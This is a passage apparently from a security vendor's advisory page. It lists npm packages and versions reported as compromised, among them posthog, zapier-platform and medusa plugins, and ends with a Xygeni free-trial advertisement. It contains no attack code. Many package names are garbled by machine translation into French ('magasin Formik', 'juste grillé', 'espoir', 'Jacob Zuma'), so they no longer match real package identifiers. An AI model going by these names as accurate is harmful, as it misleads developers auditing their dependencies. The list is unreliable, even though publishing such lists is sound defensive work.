fittxt1.0.3 , 1.0.2
Flappys1.0.2 , 1.0.1
aplatir-désaplatir1.0.2 , 1.0.1
formik-error-focus2.0.1
magasin Formik1.0.1
chercheur flou1.0.5 , 1.0.6
code de vérification gate-evm22.0.3, 2.0.4, 2.0.5, 2.0.6
test des outils gate-evm1.0.7, 1.0.8, 1.0.5, 1.0.6
gatsby-plugin-cname1.0.2 , 1.0.1
générateur-météo-stock0.1.6
générateur-ng-itobuz0.0.15
obtenir-les-arguments1.3.3
github-action-for-generator2.1.28 , 2.1.27
gitsafe1.0.5
modèle go0.1.8 , 0.1.9
gulp-inject-envs1.2.2 , 1.2.1
client API Haufe Axera0.0.1 , 0.0.2
hope-mapboxdraw0.1.1
espoir1.0.3
prototype de conception au survol0.0.5
httpness1.0.3 , 1.0.2
hyper-plein-face1.0.3
hyperterme-hipster1.0.7
ids-css1.5.1
identifiants-enterprise-mcp-serveur0.0.2
identifiants-enterprise-ng20.1.6
identifiants-enterprise-typages20.1.6
image-to-uri1.0.2 , 1.0.1
plugin insomnie sélection aléatoire1.0.4
appel0.2.2
mini-application Iron Shield0.0.2
bouton ito8.0.3
itobuz-angulaire0.0.1
itobuz-angular-auth8.0.11
bouton itobuz-angulaire8.0.11
Jacob Zuma1.0.2 , 1.0.1
test de jaetut-varit1.0.2
navigateur jan0.13.1
liaisons jQuery1.1.3 , 1.1.2
jsonsurge1.0.7
juste grillé1.7.1
port de tir2.0.3 , 2.0.2
korea-administrative-area-geo-json-util1.0.7
kwami1.5.9 , 1.5.10
codes de langue1.0.2 , 1.0.1
licence-o-matic1.2.2 , 1.2.1
lint-staged-imagemin1.3.1 , 1.3.2
serveur lite-serper-mcp0.2.2
API Luno1.2.3
API de mini-application de système de facturation manuelle1.3.1
annonce du plugin Medusa0.0.3
medusa-plugin-logs0.0.17
plugin medusa-momo0.0.68
avis sur les produits du plugin Medusa (Kvy)0.0.4
plugin medusa-zalopay0.0.40
chiffre de contrôle modulo 101.0.1
mon-package-react-typescript1.0.1
ma-libre-saeed0.1.1
n8n-nœuds-tmdb0.5.1
n8n-nodes-vercel-ai-sdk0.1.7
application virale n8n-nodes0.2.5
nanoréinitialisation7.0.2 , 7.0.1
dépendance circulaire suivante1.0.3 , 1.0.2
next-simple-google-analytics1.1.1 , 1.1.2
next-styled-nprogress1.0.4 , 1.0.5
ngx-useful-swiper-prosenjit9.0.2
ngx-wooapi12.0.1
magasin normal1.3.1, 1.3.4, 1.3.3, 1.3.2
obj-to-css1.0.3 , 1.0.2
okta-react-router-65.0.1
open2internet0.1.1
icônes orbitales2.1.3
outils de dessin d'orbites et de nébuleuses1.0.10
éditeur orbit-nébuleuse1.0.2
savon orbital0.43.13
orchestra12.1.2
testeur de paquets1.0.1
plugin parcel-copieur d'actifs1.1.3 , 1.1.2
annotation PDF0.0.2
piclite1.0.1
pico-uid1.0.4 , 1.0.3
pkg-readme1.1.1
poper-react-sdk0.1.2
posthog-docusaurus2.0.6
posthog-js1.297.3
nœud posthog4.18.1, 5.13.3, 5.11.3
posthog-plugin-hello-world1.0.1
posthog-react-native4.11.1 , 4.12.5
relecture de session posthog-react-native1.2.2
table premier-un0.0.19
prompt-eng1.0.50
petite demande1.0.3
ra-auth-firebase1.0.3
base de données ra1.0.8 , 1.0.7
étiqueteurs de composants React0.1.9
react-data-to-export1.0.1
inspecteur d'invite react-element0.1.18
réagir-favic1.0.2
persistance du formulaire react-hook3.0.2 , 3.0.1
icônes react-jam1.0.2 , 1.0.1
contexte react-keycloak1.0.8 , 1.0.9
configuration de la bibliothèque React0.0.6
react-linear-loader1.0.2
react-micromodal.js1.0.2 , 1.0.1
react-native-datepicker-modal1.3.1 , 1.3.2
email react-native2.1.1 , 2.1.2
react-native-fetch2.0.1 , 2.0.2
react-native-obtenir-dimensions-pixels1.0.2 , 1.0.1
react-native-google-maps-directions2.1.2
icônes react-native-jam1.0.2 , 1.0.1
niveau de journalisation react-native1.2.2 , 1.2.1
react-native-modest-checkbox3.3.1
react-native-modest-storage2.1.1
appel téléphonique react-native1.2.2 , 1.2.1
react-native-récupérable-récupération2.0.1 , 2.0.2
react-native-utiliser-modal1.0.3
visualiseur react-native1.2.2 , 1.2.1
react-native-websocket1.0.4 , 1.0.3
fonctions de workflow react-native3.3.3
image QR React1.1.1
rediff1.0.5
visualiseur de rediff0.0.7
kit de routeur Redux1.2.2, 1.2.4, 1.2.3
fichier http du plugin rollup0.2.1
sa-company-registration-number-regex1.0.2 , 1.0.1
sa-id-gen1.0.4 , 1.0.5
même1.0.3
scgs-capacitor-subscribe1.0.11
scgsffcreator1.0.5
set-nested-prop2.0.1 , 2.0.2
sessions-jwt-étagère0.1.2
shell-exec1.1.4 , 1.1.3
shinhan-limit-scrap1.0.3
utilisation des compétences0.1.2 , 0.1.1
histoires de l'API de Salomon1.0.2
histoires de Salomon v31.15.6
wrapper d'interface utilisateur Solomon v31.6.1
trier par distance2.0.1
infos sur les cartes d'identité sud-africaines1.0.2
fonctions statistiques1.0.1
magasin2.3.2
supercommit1.0.1
svelte-autocomplete-select1.1.1
svelte-toasty1.1.3 , 1.1.2
table de taquets1.1.5
tcsp2.0.2
test de dessin TCP/IP1.0.5
tcsp-test-vd2.4.4
bibliothèque de modèles1.1.4 , 1.1.3
modèle-micro-service1.0.3 , 1.0.2
ténacité-récupération2.3.3 , 2.3.2
application de test de la fonderie1.0.4, 1.0.3, 1.0.2, 1.0.1
application de test de casque de chantier1.0.4, 1.0.3, 1.0.2, 1.0.1
test23112222-api1.0.1
tiaan1.0.2
token.js-fork0.7.32
application trigo-react4.1.2
police de caractères1.2.2 , 1.2.3
typeorm-orbite0.2.27
type non défini1.0.4 , 1.0.3
uplandui0.5.4
télécharger sur le Play Store1.0.2 , 1.0.1
encodage-décodage d'URL1.0.2 , 1.0.1
utiliser les modifications non enregistrées1.0.9
carte d'identité sud-africaine valide1.0.3
vf-oss-template1.0.4, 1.0.3, 1.0.2, 1.0.1
fichier http du plugin vite0.2.1
vue-browserupdate-nuxt1.0.5
web-scraper-mcp1.1.4
types-web-htmx0.1.1
littérature web0.1.1
fichier webpack-loader-http0.2.1
expert-bien-être-ng-gallery5.1.1
wenk1.0.9 , 1.0.10
zapier-async-storage1.0.3, 1.0.2, 1.0.1
zapier-platform-cli18.0.4, 18.0.3, 18.0.2
zapier-platform-core18.0.4, 18.0.3, 18.0.2
schéma de la plateforme Zapier18.0.4, 18.0.3, 18.0.2
scripts Zapier7.8.3 , 7.8.4
zuper-cli1.0.1
zuper-sdk1.0.57
zuper-stream2.0.9
sca-tools-logiciel-outils-d'analyse-de-composition
Priorisez, corrigez et sécurisez vos risques logiciels
Essai gratuit 7 jours
Pas de carte bleue requise

Sécurisez le développement et la livraison de vos logiciels

avec la suite de produits Xygeni